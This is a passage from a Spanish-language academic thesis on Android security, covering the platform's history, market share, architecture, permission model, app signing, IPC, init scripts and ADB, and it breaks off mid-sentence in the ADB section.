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Resumen
La  irrupción  en  nuestras  vidas  de  los  dispositivos  móviles  (teléfonos  inteligentes,
tabletas,  relojes  y  pulseras  de  actividad,...)  nos  plantean  día  a  día  el  desafío  y  la
necesidad  de  estar  permanentemente  conectados  a  través  de  Internet,  con el  correo
electrónico, los chats, las innumerables herramientas y aplicaciones para redes sociales;
sin embargo, la integración de la grabadora de sonido, cámara fotográfica y vídeo, los
monederos electrónicos y medios de pago en el propio dispositivo móvil, lo convierte en
uno  de  los  eslabones  más  débiles  de  la  cadena  de  seguridad  y  privacidad  de  la
información contenida en el mismo.
Este trabajo estudia los aspectos principales de la seguridad informática en dispositivos
móviles, tomando como plataforma el sistema operativo Android. 
Se realiza una introducción a este sistema operativo gratuito creado por Google y se
analizan sus capas principales desde el punto de vista de la seguridad informática y del
compromiso con la privacidad de los datos. Se revisan los puntos fuertes y débiles del
sistema y se estudian las pautas a seguir en el análisis de cualquier aplicación Android,
haciendo  un  repaso  pormenorizado  del  sistema  de  permisos,  las  posibles
vulnerabilidades  y  estudiando  el  funcionamiento  de  las  aplicaciones  maliciosas,  de
forma que se muestre en profundidad las posibilidades de inoculación de código de mal
comportamiento y de control del hardware de nuestros dispositivos de forma remota. 
Finalmente indicar que este trabajo tiene una clara vocación de sensibilizar a la sociedad
en los riesgos que asume al utilizar un dispositivo electrónico conectado a Internet, con
capacidad de cómputo similar a un ordenador personal, sin seguir unas mínimas normas
de prevención y control de acceso a algo tan preciado como es nuestra intimidad: “En
Internet, cuando algo es gratis, el producto eres tú”.
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1 Introducción
La seguridad informática es la ciencia que se encarga de proteger tanto el  hardware
como el software de los sistemas informáticos. 
Mas concretamente se conoce como la disciplina encargada de proteger la integridad y
la privacidad de la información en los sistemas informáticos. 
Principalmente, se divide en las siguientes cuatro ramas [1]: 
• Confidencialidad: asegura  que  la  información  esta  accesible  únicamente  al
sistema y/o usuario autorizado.
• Integridad: es la propiedad que garantiza que los datos no estarán modificados
por un usuario y/o sistema no autorizado y que podrán ser modificados cuando
sea necesario sin que se corrompan.
• Disponibilidad: garantiza que la información estará lista para ser accedida en el
momento necesario.
• Autenticación: capacidad  que  permite  conocer  la  procedencia  de  la
información, y así conocer la autenticidad de la misma. 
La seguridad informática, ha estado presente desde los inicios de la informática, pero
prácticamente desde el año 2000 ha aumentado la tendencia de acciones maliciosas. 
Por  un  lado,  debido  al  aumento  de  la  inteligencia  informática  y  los  algoritmos  de
aprendizaje,  y  por  otro  lado,  porque  la  información  se  ha  convertido  en  algo  muy
rentable con lo que poder comerciar.
Otra causa por  la  que han aumentado los  ataques  a  los  sistemas informáticos  es  la
aparición de nuevas tecnologías, como teléfonos móviles y dispositivos inalámbricos. 
Hoy en día, todo el mundo almacena información sensible en dispositivos informáticos
y donde cada vez se almacena más información es en los dispositivos móviles. 
En los dispositivos móviles, el sistema operativo que domina el mercado es Android.
Aunque, es conocido como sistema operativo para teléfonos móviles, lo cierto es que
Android  esta  disponible  para  otros  dispositivos,  como:  relojes  inteligentes,  tabletas,
televisores e incluso, vehículos.
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A continuación se estudiarán los  puntos  más importantes,  en  cuanto  a  seguridad se
refiere, de las aplicaciones y del sistema operativo Android. 
Además se realizará un experimento de como una aplicación para Android puede ser
inyectada con código malicioso y describir las pautas necesarias para poderla analizar. 
En el  estado del  arte  de la  tecnología del  sistema Android,  se verán las principales
piezas que componen Android desde el punto de vista de la seguridad.
Todo lo  que  se  describirá  esta  muy ligado a  la  computación de sistemas,  las  redes
computadores,  los  sistemas  operativos,  los  sistemas  distribuidos,  la  programación  y
otras muchas ramas de la informática. 
1.1 Historia de Android
Android  se  dio  a  conocer  gracias  a  Google  pero  en  realidad  fue  creado  por  una
compañía llamada Android, Inc. la cuál fue fundada por Andy Rubin, Chris White, Nick
Sears y Rich Miner, en Octubre del año 2003. 
Se centraron en crear un sistema operativo para teléfonos móviles basado en el kernel de
Linux, que trabajara con la información de localización y las preferencias del usuario. 
Aún  habiendo  tenido  buena  acogida  en  la  demanda  del  mercado,  la  empresa  tenia
problemas económicos, por lo que fue comprada por Google en Agosto del año 2005.
El 5 de Noviembre del 2007, Google crea un consorcio de empresas llamada  Open
Handset  Alliance  (OHA)  [2].  En el,  se asociaron 34 empresas,  desde fabricantes de
hardware, desarrolladores de software y operadores de servicio. A la cabeza de todas
estas empresas se encontraba Google.
Aunque existieron versiones Alpha previas, la primera versión Beta no comercial que
Google  presento  fue  lanzada  el  mismo  día  de  la  creación  de  OHA y  solo  estaba
disponible  para  los  miembros  del  consorcio.  Previamente  a  la  presentación,  otras
versiones de Android fueron nombradas con el nombre de los famosos robots Astro Boy,
Bender, R2-D2.
La primera versión comercial  fue presentadas el  23 de Septiembre del  2008, fue la
primera versión estable 1.0. 
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No se dio a conocer ningún nombre en clave de esta versión ni las siguientes, hasta el
lanzamiento de la versión 1.5, cuando Google empezó a poner de nombre en clave a las
versiones de su sistema operativo diferentes dulces y chucherías, siendo la versión 1.5
Cupcake.
1.2 Android Open Source Project (AOSP)
Como se menciona en el apartado anterior, Google desarrolla Android junto a la Open
Handset Alliance [3], bajo el nombre de Android Open Source Project o AOSP. 
Desde su creación, Android utiliza multitud de componentes que son open source, como
son, el kernel de Linux, la interfaz de usuario y diferentes librerías. 
La mayoría del código del sistema Android, se encuentra bajo la licencia de Apache
versión 2.0 [4], otros componentes de Android tienen su propia licencia, como es el caso
del Kernel de Linux, el cuál se encuentra licenciado por GPLv2 [5].
Pero,  el  sistema  que  llega  al  usuario  final  y  se  distribuye  en  la  mayoría  de  los
dispositivos no es completamente open source, incluso el distribuido por Google. Esto
es porque los diferentes fabricantes de dispositivos móviles y/o distribuidores (incluso
los terminales bajo el nombre de Nexus de Google) añaden diferente código de carácter
propietario o privativo. 
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Fig. 1: Cronograma versiones más relevantes de
Android (elaboración propia)
Ejemplos  del  software  privativo  que  se  añade  es:  diferentes  firmware o  drivers,
cargadores de arranque (bootloaders), digital rights management (DRM) y otro mucho
tipo de software diferente.
Una aplicación de código privativo que es añadida a la mayoría de dispositivos móviles
es Google Play, la tienda de aplicaciones de Google es de código cerrado. 
No solo por distribuir partes de Android como código cerrado, la comunidad siempre ha
reprochado a Google que desarrolla Android de manera secreta. Los cambios que se
realizan sobre el código, no son publicados inmediatamente después de ser realizados,
generalmente suelen publicarse con el lanzamiento de una nueva versión.
Muchas veces, ni si quiera es así. Por ejemplo, la liberación del código de Android 3.0
Honeycomb, no se realizo hasta el lanzamiento de Android 4.0 Ice Cream Sandwich, y a
su  vez,  el  código  de  Android  4.0  no  fue  liberado  hasta  unos  meses  después  de  su
lanzamiento.
Por todo esto, muchas veces se dice que el concepto de software libre de Google para
Android es algo confuso.
1.3 Cuota de mercado de Android
El motivo por el que Android es el foco principal de los ataques dirigidos a dispositivos
móviles es que, como se menciono anteriormente, domina el mercado en este tipo de
dispositivos.
Utilizando como principal fuente IDC [6], se han recogido los siguientes datos del año
2016, en ellos se puede notar la gran presencia que tiene Android en el mercado.  
Periódo Android iOS Windows Phone Otros
1º trimestre 83.8% 14.8% 0.8% 0.6%
2º trimestre 87.6% 11.7% 0.4% 0.3%
3º trimestre 86.8% 12.5% 0.3% 0.4%
Tabla 1: Cuota mercado SO móvil 2016 (fuente IDC [6])
Como se  observa  en  los  datos  anteriores,  Android  ha  dominado  el  mercado  de  los
teléfonos inteligentes con un 86.8% de cuota de mercado a nivel mundial al finalizar el
año 2016. 
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Hay  que  destacar  que  Samsung,  es  la  empresa  número  uno  en  venta  de  teléfonos
móviles, contribuyendo a que Android domine el mercado.
En España, en el año 2016, del total de teléfonos inteligentes vendidos, un 91.40% han
sido teléfonos con Android, un 8.05% dispositivos Apple y el restante Windows Phone
con un 0,55%, datos de Kantar World Planet [7]. 
Dentro del ecosistema de Android, la versión de Android más utilizada en el año 2016
fue KitKat 4.4, correspondiente al nivel de API 19. 
En el gráfico anterior se puede observar como Lollipop tiene mayor porcentaje, pero
esto es debido a que en realidad engloba la versión 5.0 y 5.1, correspondientes al API 21
y 22 respectivamente [8]. 
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Fig. 3: Gráfico de versiones de Android, Agosto 2016 (fuente Google [8])
Fig. 2: Ventas de teléfonos móviles por SO en España año
2016 (elaboración propia, fuente Kantar World Planet [7])
En la siguiente tabla se pueden observar los datos con más detalle.
Versión Nombre en clave API Cuota
2.2 Froyo 8 0.1%
2.3.3 - 2.3.7 Gingerbread 10 1.7%
4.0.3 - 4.0.4 Ice Cream Sandwich 15 1.6%
4.1.x
Jelly Bean
16 6.0%
4.2.x 17 8.3%
4.3 18 2.4%
4.4 KitKat 19 29.2%
5.0
Lollipop
21 14.1%
5.1 22 21.4%
6.0 Marshmallow 23 15.2%
Tabla 2: Cuota de mercado por version API (fuente Google[8])
Además de conocer la cuota de mercado de cada versión Android, es importante conocer la
correspondencia entre las versiones de API de desarrollo y las versiones de Android, como
se muestra en la tabla anterior. 
En  cada  lanzamiento  de  una  versión  de  Android  o  una  nueva  versión  de  la  API,  se
solucionan diversos problemas de seguridad, pero es inevitable que investigadores de todo
el mundo no encuentren otros fallos de seguridad. 
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2 Estado del arte de la tecnología: Seguridad en 
Android
Existen cinco capas principales que componen la arquitectura de la plataforma Android.
Estas  capas  son el  kernel de Linux,  la  capa de abstracción del  hardware (HAL),  el
código  nativo  y  máquina  virtual  Dalvik,  el  Framework Android  y  las  diferentes
aplicaciones Android [9].
Cada una de estas capas tiene una responsabilidad y debe realizar sus objetivos con la
debida seguridad.
En la figura anterior se ve la responsabilidad de cada una de las capas mencionadas
anteriormente.
El kernel de Linux proporciona los drivers para los diferentes componentes hardware, y
existe una capa de abstracción de hardware para hacer la vida más fácil a las capas
superiores al realizar el acceso al hardware. 
En el  código nativo  nos  encontramos  con las  diferentes  librerías  del  sistema como
WebKit para  los  navegadores  web  y  SSL  para  proporcionar  seguridad  a  las
comunicaciones. Además de la máquina virtual Dalvik, donde funcionan el Framework
Android y sus aplicaciones.
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Fig. 4: Diferentes capas que componen el sistema
operativo Android (fuente AOSP [9])
El framework Android proporciona facilidad para acceder a los componentes que se 
encuentran en las capas inferiores, otorgando, por ejemplo, acceso de manera sencilla a 
diferente información del dispositivo y funcionalidades. Por último, la capa superior 
hace referencia a las diferentes aplicaciones Android. 
A continuación se ve en más detalle la seguridad que proporciona el Kernel de Linux, la
máquina virtual Dalvik, el  framework Android, la seguridad en las aplicaciones y una
pequeña introducción al código nativo más relevante.
2.1 Seguridad proporcionada por el kernel de Linux
Una  de  las  principales  piezas  que  hacen  el  sistema  operativo  sea  robusto  y  le
proporciona gran seguridad es el  kernel de Linux. El  kernel de Linux, es uno de los
proyectos más grandes de software libre y código abierto que existen,  con miles de
colaboradores en todo el mundo.
El kernel de Linux es utilizado en millones de diferentes sistemas a lo largo del planeta,
se usa en sistemas de máxima seguridad, en electrodomésticos,  automóviles y muchos
otros.
Como núcleo del sistema operativo, las principales características que este le aporta son:
• Una base para el sistema de permisos, basada en usuario para proporcionar el
control  de  acceso  [10],  como  se  verá  en  el  apartado  de  «Seguridad  en  las
aplicaciones».
• Aislamiento de procesos o sandbox [11], es decir, proteger los procesos unos de
otros, para evitar que un proceso pueda escribir en otro. 
• Capacidad de comunicación segura entre procesos (IPC) [12], se detallaran los
aspectos más importantes en el apartado «Comunicación entre procesos».
Android aprovecha el modelo de permisos basado en usuarios y grupos de Linux,  el
cual asigna un identificador de usuario (UID) y un identificador de grupo (GID) a cada
proceso,  y  así,  ejecutar  ese  proceso  de  manera  aislada,  ya  que  únicamente  el
usuario/grupo asignado tendrá permisos sobre el proceso.
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Esta capacidad de seguridad de separar los procesos unos de otros y aislarlos, se conoce
como Sandbox.
Sin embargo, Android no utiliza el modelo del kernel tal cual, por ejemplo, no contiene
los ficheros passwd y group para configurar los usuarios y sus grupos. 
En lugar de esto, añade un mapeado de UIDs y GIDs a través de otro identificador
único,  llamado  Android  ID  (AID).  De  esta  manera,  reserva  unos  rangos  de
identificadores Android para utilización de perfiles múltiples y poder aislar los procesos
de los usuarios. 
Como ejemplo de lo visto anteriormente, el AID encargado de la lectura y escritura del
almacenamiento interno es  AID_SDCARD_RW, el cuál tiene el valor 1015. Este AID
hace referencia al grupo sdcard_rw. Se pueden observar todos los AID en el proyecto
open source de Android [13]. 
Desde  la  versión  4.3  de  Android,  se  incorpora  el  módulo  de  seguridad  SELinux
(Security-Enhanced). Este módulo, ayuda al control del sandbox de las aplicaciones,
proporcionando capacidad para el control de acceso mediante políticas de seguridad que
especifican que procesos puede ser controlados y por que usuario.
El funcionamiento de SELinux es sencillo, simplemente deniega por defecto cualquier
comportamiento  que  no  este  permitido  explícitamente,  es  decir,  que  no  haya  sido
configurado para poder ser realizado.
Principalmente, SELinux tiene dos modos de funcionamiento: modo "permissive", en el
cuál no se obliga a que se aplique la política de seguridad configurada, pero si registrará
cualquier denegación que se produzca,  y el  modo "enforcing", en el  que además de
registrar las denegaciones obligará a que la política de seguridad se cumpla.
En la incorporación de SELinux en la versión 4.3 de Android, se utilizaba por defecto el
modo "permissive",  y  desde la  salida  de  Android  5.0 ha  pasado a  utilizar  el  modo
"enforcing" [14].
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2.2 La máquina virtual Dalvik
Android utiliza Java como lenguaje de programación principal. Entre los motivos por
los que se eligió este lenguaje de programación se encuentran los siguientes:
• Es  un  lenguaje  popular  y  de  fácil  uso,  conocido  por  casi  todos  los
programadores.
• Ya era usado en la industria de la telefonía móvil con Java ME.
• Funciona sobre una máquina virtual, por lo que no es necesario recompilarlo en
cada dispositivo.
• Existen multitud de herramientas y librerías ya realizadas en Java.
Por ello decidieron utilizar Java como lenguaje de programación, pero no ocurrió lo
mismo con la Java Virtual Machine (JVM). 
Decidieron  desarrollar  una  máquina  virtual  alternativa,  llamada  la  máquina  virtual
Dalvik. Esto quiere decir que, aun usándose Java como lenguaje de programación, el
código  generado  a  nivel  de  bytecode,  no  es  Java  y  no  podría  ser  interpretado
completamente por la JVM. 
Debido a que Android debe soportar un gran número diferente de dispositivos y deben
de poder  ejecutarse los diferentes procesos de manera aislada,  es  una buena opción
elegir la virtualización con sus ventajas y desventajas [15].
Cada aplicación Android, funciona sobre su propio proceso, con una única instancia de
la máquina virtual Dalvik, así un dispositivo puede tener múltiples máquinas virtuales
de una manera eficiente.
Se trata de una máquina virtual basada en registros, al contrario que la JVM que esta
basada en una pila (stack). Dalvik posee 64.000 registros, de los cuales se usan entre 16
registros en el uso más común, a 256 registros en los casos más extremos. 
Los registros se encargan de tener las direcciones de memoria en la máquina virtual,
simulando el funcionamiento de los registros de los microprocesadores, y son usados
para mantener el estado en las aplicaciones [16].
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Para entender todo esto, hay que conocer que una máquina virtual no es más que una
capa de abstracción de los registros del microprocesador del sistema. Esto implica unas
limitaciones debido a la arquitectura, como es la baja velocidad de acceso a memoria y
procesador, debido a la virtualización. 
Los archivos  DEX son los archivos generados en el  proceso de compilación de una
aplicación Android, estos archivos son interpretados por la máquina virtual Dalvik. 
Para hacer frente a las limitaciones que la máquina virtual pueda tener, estos archivos
son optimizados en la primera ejecución de la aplicación,  dando lugar a un archivo
ODEX,  el  cuál  no seria  portable  entre  diferentes  versiones de la  máquina virtual,  el
sistema Android u otros dispositivos. Es decir, se genera un archivo único optimizado
para el dispositivo.
2.3 El framework de Android
Para que los desarrolladores puedan realizar múltiples aplicaciones de manera sencilla y
optimizada, se hace uso del framework Android. Este framework es una abstracción del
entorno de ejecución en Android y de las librerías nativas, dando a los desarrolladores
de aplicaciones diferentes utilidades para realizar las tareas más comunes.
Se trata de un conjunto de librerías que nos permiten realizar cosas como manejar la
interfaz de usuario, comunicación entre componentes, acceso a datos y muchos otros
Los componentes del  framework Android se encuentran bajo el  espacio de nombres
android.*, además de estos componentes específicos de Android, también se añaden
componentes propios de Java, bajo el espacio de nombres java.* o javax.*.
El  framework proporciona  multitud  de  diferentes  componentes  para  ser  utilizados,
también incluye una serie de servicios utilizados para manejar los comportamientos de
todos los componentes. Los principales son [17]:
• Activity  Manager:  Se encarga  de  interactuar  con los  diferentes  activities del
sistema.
• View System: Gestiona las diferentes partes que componen la vista, un activity o
activities. 
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• Package Manager: Gestiona las diferentes tareas e información de los paquetes
que deben ser instalados o ya han sido instalados, en el sistema.
• Telephony Manager: Principalmente, mantiene información sobre el servicio de
telefonía móvil, el estado de radiofrecuencia y la red.
• Resource  Manager:  Permite  el  acceso  a  diferentes  recursos,  como gráficos,
diseños de interfaz de usuario,  datos almacenados en ficheros, audio,  y otros
recursos externos que no sean código fuente.
• Notification  Manager:  Maneja  los  diferentes  eventos  que  dan  lugar  a  una
notificación, como hacer sonar la música de notificación, la vibración, los LED's
del teléfono y los iconos de la barra de estado.
• Location Manager:  Provee  una  forma de acceso  a  los  datos  de localización
(GPS, Wi-Fi), además de la configuración de los mismos. 
2.4 Seguridad en las aplicaciones
La mayoría de aplicaciones de Android están escritas en código Java, como se vio en el 
apartado «La máquina virtual Dalvik», y funcionan sobre la máquina virtual Dalvik. 
Aunque hoy en día existen multitud de herramientas para programar en otros lenguajes 
como Ruby [18], Python [19], JavaScript [20], y muchas más. 
La mayoría de ellas terminan generando código Java para ser interpretado igualmente 
por la máquina virtual Dalvik o incluyen un componente WebView [21], de esta manera 
la aplicación realmente se ejecutara sobre un navegador web integrado.
La distribución de las aplicaciones en Android se realiza mediante un único fichero con 
extensión .apk (Android Application Package), básicamente es un archivo 
comprimido el cuál puede ser observado fácilmente con un archivador de ficheros. Esto 
es debido a que, extiende de los archivos .jar de Java y .zip. El tipo mime asociado 
al fichero .apk es application/vnd.android.package-archive.
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La estructura principal que compone una aplicación Android empaquetada es:
• AndroidManifest.xml: Es el archivo de manifiesto por defecto en Android [22],
describe cierta información sobre una aplicación como: 
◦ El nombre del paquete Java para la aplicación, siendo este un identificador 
único para la aplicación.
◦ Descripción de los diferentes componentes de la aplicación y las condiciones
sobre los que estos pueden ser ejecutados.
◦ Determina que procesos alojarán los diferentes componentes de la 
aplicación.
◦ Incluye la declaración de permisos que la aplicación debe de tener para 
poder acceder a las diferentes partes de la API de Android y para la 
interacción con otras aplicaciones. También permite declarar los permisos 
que deben necesitar otras aplicaciones para interactuar con los diferentes 
componentes de la aplicación.
◦ Especifica el mínimo nivel de la API Android que la aplicación necesita para
el correcto funcionamiento.
◦ Lista las diferentes librerías que la aplicación debe vincular para su 
distribución.
◦ Enumera las diferentes clases de Instrumentation utilizadas para el análisis 
de rendimiento o profiling. Esta información solo esta presente en el fichero 
de manifiesto mientas la aplicación se encuentra en desarrollo y es eliminada
antes de que la aplicación sea publicada. 
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Fig. 5: Contenido de un
archivo .apk
• META-INF:
◦ MANIFEST.MF: fichero de manifiesto.
◦ CERT.RSA: certificado de la aplicación.
◦ CERT.SF: La lista de recursos y el hash resumen de cifrado SHA-1 para las 
diferentes líneas del fichero MANIFEST.MF
• lib: directorio que contiene el código compilado para cada capa específica de 
software del procesador, esta dividido principalmente en los siguientes 
subdirectorios:
◦ armeabi:  código  compilado  para  todos  los  procesadores  basados  en
arquitectura ARM.
◦ armeabi-v7a:  código  compilado  para  los  procesadores  con  arquitectura
ARMv7 o posterior.
◦ arm64-v8a: código compilado para los procesadores de arquitectura ARMv8
arm64 o posterior.
◦ x86: código compilado para procesadores x86.
◦ x86_64: código compilado para los procesadores x86_64.
◦ mips: código compilado para los procesadores de arquitectura MIPS.
• resources.arsc: archivo que contiene recursos precompilados.
• res: directorio que contiene todos los recursos que no hayan sido compilados en
el archivo resources.arsc.
• assets: directorio que contiene los diferentes activos que pueden ser utilizados
por el Asset Manager. 
• classes.dex: archivo con extensión .dex que contiene las diferentes clases de la
aplicación compiladas para ser interpretadas por la máquina virtual Dalvik.
Vista  la  estructura  del  fichero  en  el  cual  se  distribuyen  las  aplicaciones  Android,  las
principales partes que construyen una aplicación Android son:
• Activities (Actividades): Un Activity  es código que se utiliza principalmente para
construir las interfaces de usuario. Pero no todas las Activities deben de tener una
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interfaz gráfica para el usuario, pero si es lo común. Por regla general, el punto de
entrada de una aplicación será una Activity [23].
• Servicios:  Un servicio  es  código  que  se  ejecuta  en  segundo  plano.  Puede  ser
ejecutado en su propio proceso independiente o en el contexto del proceso de otra
aplicación. Otros componentes pueden enlazar a un servicio e invocar diferentes
métodos en el a través de llamada a procedimientos remotos (RPC) [24].
• Broadcast Receiver: Un BroadcastReceiver es un objeto que permite ser invocado, 
mediante el mecanismo Intent de la comunicación IPC, por otra aplicación o el 
sistema operativo [25].
2.4.1 Modelo del sistema de permisos
Como se ha visto en el apartado «Seguridad proporcionada por el kernel de Linux» las
aplicaciones Android funcionan en modo  sandbox aisladas unas de otras, y al mismo
tiempo, por defecto, están restringidas a acceder a un número limitado de funciones del
sistema.
Existe  una serie  de restricciones  por  razones  de arquitectura,  que realmente  no son
restricciones al uso, si no que sencillamente no se ha implementado una funcionalidad
que preste dicho servicio, por ejemplo, la manipulación directa de una tarjeta SIM. 
Sin  embargo,  una  gran  parte  de  la  API  de  Android  tiene  el  acceso  limitado  y  se
necesitan  de  diferentes  permisos  para  poder  acceder  a  la  misma.  Los  permisos  se
definen en el archivo de manifiesto de Android. 
Algunos de los componentes más comunes que necesitan de permisos explícitos son: 
• Localización  (GPS  o  Wi-Fi):  requiere  de  los  permisos
ACCESS_COARSE_LOCATION para obtener la localización a través de la red
Wi-Fi o ACCESS_FINE_LOCATION para el GPS [26].
• Bluetooth: para poder utilizar el  bluetooth en un aplicación se debe definir el
permiso BLUETOOTH y si además, se quiere que la aplicación pueda alterar los
ajuste del bluetooth o descubrir nuevos dispositivos por si misma, se requiere el
permiso BLUETOOTH_ADMIN [27].
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• Cámara: se requiere el permiso CAMERA para permitir a una aplicación acceder
a la cámara del dispositivo [28].
• SMS/MMS:  tanto  para  los  SMS como los  MMS se  disponen  de  diferentes
permisos  que  deben  ser  definidos  dependiendo  del  comportamiento  que
deseamos  permitir,  por  ejemplo,  los  permisos  READ_SMS o  READ_MMS
permitirán a una aplicación leer SMS o MMS.  
• Red: para que una aplicación pueda acceder a las diferentes redes que puede
tener  el  teléfono  como el  Wi-Fi  o  la  red  móvil  se  deben  definir  diferentes
permisos  dependiendo  del  uso  que  se  desee.  Por  ejemplo,  el  permiso
CHANGE_NETWORK_STATE nos permite modificar el estado de la conexión. 
Existen multitud de diferentes permisos, dependiendo del componente o el uso que se
desee. Android desde la API 1 expone todos los permisos que pueden ser solicitados en
el  manifiesto  en  su  guía  para  el  desarrollador  [29],  en  el  apartado  «Principales
problemas del sistema de permisos» se detallaran los llamados permisos peligrosos.
El funcionamiento del sistema de permisos es relativamente sencillo, los programadores
deben definir los permisos en el archivo de manifiesto de Android para hacer uso de las
diferentes  partes  de  la  API  protegidas.  Cuando  la  aplicación  va  a  ser  instalada,  el
sistema operativo procesa este manifiesto y muestra al usuario los diferentes permisos
que son solicitados por  la  aplicación,  permitiendo elegir  si  desea aceptar  o denegar
todos los permisos solicitados para la utilización de la aplicación.
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Fig. 6: Solicitud de permisos en
instalación de aplicación Google
Maps (Fuente ASOP)
Los  permisos  concedidos  a  una  aplicación  permanecen  hasta  que  la  aplicación  es
eliminada del sistema, por lo que si se reinstala una aplicación está solicitará de nuevo
al usuario que le conceda los permisos necesarios para su funcionamiento. Aunque cabe
la posibilidad de que aplicaciones almacenen esta información en la cache del sistema.
En los ajustes del sistema, el usuario, puede ver los diferentes permisos que han sido
concedidos a las diferentes aplicaciones instaladas.
Se tiene la capacidad de desactivar una funcionalidad de manera global al sistema, como
desactivar el Wi-Fi, de esta manera, no importan los permisos que tenga la aplicación ya
que no podrá acceder al mismo porque estará globalmente desactivado.
La acción de verificar los permisos de una aplicación por parte del sistema operativo es
realizada al nivel más bajo posible para intentar evitar que una aplicación se salte la
verificación. Cuando una aplicación intenta realizar una llamada a una parte de la API
protegida, para la cual no se le ha concedido el permiso necesario, esto resultará en una
excepción de seguridad que es devuelta a la aplicación, pudiendo ser controlada por el
programador.
Es importante recordar que toda la seguridad de los permisos en Android se basa en un
identificador  de usuario y un identificador  de grupo, los cuales son asignados a  los
diferentes componentes y así se consigue el aislamiento entre aplicaciones, tal y como
se ha visto en el apartado «Seguridad proporcionada por el kernel de Linux». 
2.4.2 Firma de seguridad en aplicaciones
La  utilización  de  una  firma  de  seguridad  en  las  aplicaciones,  sirve  para  ayudar  al
sistema a identificar el desarrollador de la aplicación y garantizar que esta no ha sido
modificada desde que fue firmada. El administrador de paquetes de Android se encarga
de impedir que una aplicación sin firma sea instalada.
En Android, el certificado también define el AID asociado a la aplicación para correr en
el sistema, siendo la base para el funcionamiento del modo aislado o  sandbox  de las
aplicaciones en Android, ya que cada una deberá tener su propio AID y encontrarse
aisladas unas de otras [30].
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Para que las  aplicaciones puedan ser firmadas Android proporciona la capacidad de
crear certificados a cualquier desarrollador de manera sencilla y no es necesario que los
certificados estén firmados por una autoridad de certificación (CA).
La verificación de autenticidad de una aplicación esta soportada desde la versión Jelly
Bean 4.2 (API level 17), activada por defecto y pudiendo ser desactivada por el usuario. 
2.4.3 Comunicación entre procesos
La comunicación de procesos o IPC (Interprocess Communication) es la característica
que  le  permite  a  los  diferentes  procesos  comunicarse  entre  ellos,  aún  cuando  estas
funcionan en modo  Sandbox, el  sistema de permisos  de Linux se aplica de manera
normal.
El  kernel de Linux le proporciona a Android todos los mecanismos basados en UNIX
para la comunicación entre procesos, como entre otros:
• Señales o Signals
• Tuberías o Pipes
• Sockets
• Memoria compartida
• Colas de mensaje
• Semáforos
Por otro lado, Android proporciona otros nuevos mecanismos diferentes, para llevar a
cabo la comunicación entre diferentes procesos [31]:
• Binder: Sencillo mecanismo de llamada de procedimiento remoto o RPC basado
en  capacidades,  esta  definido  por  la  interfaz  IBinder,  siento  una
implementación  de  IBinder.  Permite  implementar  de  manera  sencilla  un
protocolo propio basado en RPC [32].
• Service: Como se ha visto anteriormente, un servicio es código que se ejecuta en
segundo plano, pudiendo ejecutarse en un proceso independiente o en el mismo
contexto  desde  el  que  se  invoca.  Los  servicios  pueden  vincularse  a  un
componente concreto para interactuar con él y así poder comunicarse.
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• Intent:  es  una descripción abstracta  de una intención de realizar  una acción.
Proporciona  la  facilidad  para  vincular  en  tiempo  de  ejecución  código  de
diferentes aplicaciones, puede utilizarse para lanzar  activities, de hecho, es su
uso más común [33].
• ContentProvider:  se  trata  de  un proveedor  de  contenido  funciona  como  un
contenedor  donde  almacenar  diferentes  datos  y  permitir  que  sean  accesibles
desde otras aplicaciones [34].
2.5 Código nativo
El  código  nativo  hace  referencia  a  dos  principales  componentes:  por  un  lado  los
servicios  del  núcleo  del  sistema  y,  por  otro,  las  diferentes  librerías  utilizadas  por
Android.
Muchos servicios del núcleo del sistema difieren en base a diferentes circunstancias,
como la versión de Android o el hardware que compone el dispositivo. 
Por lo general, siempre se incluye un servicio encargado de inicializar el espacio de
usuario, normalmente  init,  con el mismo funcionamiento que en los sistemas Linux.
otros servicios que se incluyen son el servicio adbd y debuggerd, de manera que puedan
servir para que se realice depuración sobre el sistema y las diferentes aplicaciones.
2.5.1 El servicio Init
El servicio init, típico de los sistemas Linux, es el primer proceso en ser ejecutado por el
kernel  de  Linux.  La  función  principal  de  este  servicio  es  inicializar  el  entorno  del
usuario  mediante  la  ejecución  de  diferentes  comandos  que  se  arrancan  diferentes
servicios, aplicaciones y configuraciones de usuario. La finalidad en el sistema Android,
es la misma que en cualquier sistema Linux, sin embargo, utiliza una implementación
personalizada de init [35]. 
En los sistemas Linux, típicamente se utiliza una implementación basada en ejecutar
scripts shell que se encuentren en  /etc/init.d,  basados en diferentes niveles de
ejecución (run-level-based). 
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Android, en lugar de basarse en niveles de ejecución para ejecutar los  scripts, utiliza
directivas especificas de cada dispositivo, y estos scripts se encuentran en /init.rc. 
La forma de utilización de estas directivas, es incluir en la nomenclatura del script, el
nombre en clave del hardware del dispositivo. El script principal de init tendría una
nomenclatura  como  /init.[hw].rc,  donde  [hw]  sería  el  nombre  en  clave  del
hardware para ese dispositivo en específico.
Las principales funciones del script init, que nos ayudan a comprender su 
funcionamiento son:
• Arrancar demonios y servicios que deben ser arrancados al inicio. La forma de 
arrancar estos servicios es mediante la directiva service. Por ejemplo, para 
lanzar el servicio dbus se debería de escribir en el script init del dispositivo: 
service dbus /system/bin/dbus-daemon
• Indicar bajo que usuario y grupo del sistema debe el servicio se iniciado, para 
ello se debe especificar antes de la directiva service, utilizando las directivas 
user y group. Por ejemplo, para indicar que el servicio dbus se inicie bajo el 
usuario dbus:
user dbus
group dbus
• Ajustar las propiedades y opciones de configuración del sistema que serán 
expuestas mediante el Property Service.
• Registrar acciones o comandos a ser ejecutados cuando se produzcan diferentes 
eventos, usando, por ejemplo, la directiva on.
2.5.2 Android Debugging Bridge (ADB)
El Android Debugging Bridge o ADB es una herramienta que permite la comunicación
con  un  dispositivo  Android,  y  así, realizar  diferentes  acciones  en  un  dispositivo  o
emulador.  Desde  instalar  aplicaciones  y  depurarlas,  hasta  proporcionar  un  acceso
mediante un shell UNIX, para ejecutar comandos directamente sobre el terminal. 
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El ADB forma parte del SDK de Android, proporcionado por Google, y se encuentra en
la ruta del SDK de Android dentro del directorio platform-tools. El ADB se compone de
las siguientes tres piezas diferentes:
• El demonio  adbd en el dispositivo Android, se ejecuta en segundo plano y se
encarga de ejecutar los comandos en el dispositivo.
• Un servidor adb que se encarga de administrar la comunicación entre el cliente y
el demonio del dispositivo. 
• La herramienta de línea de comandos que actúa como cliente, generalmente se
encuentra en la misma máquina que el servidor.
Para utilizar ADB, se puede iniciar el cliente directamente y este comprobará si hay un
servidor en ejecución y en caso de que no lo haya lo iniciará.  El servidor utiliza el
puerto local TCP 5037 para buscar los comandos enviados por el cliente.
Una vez el servidor a recibido un comando desde el cliente, el servidor buscará todas las
instancias de dispositivos en ejecución utilizando el rango de puertos TCP 5555 a 5585,
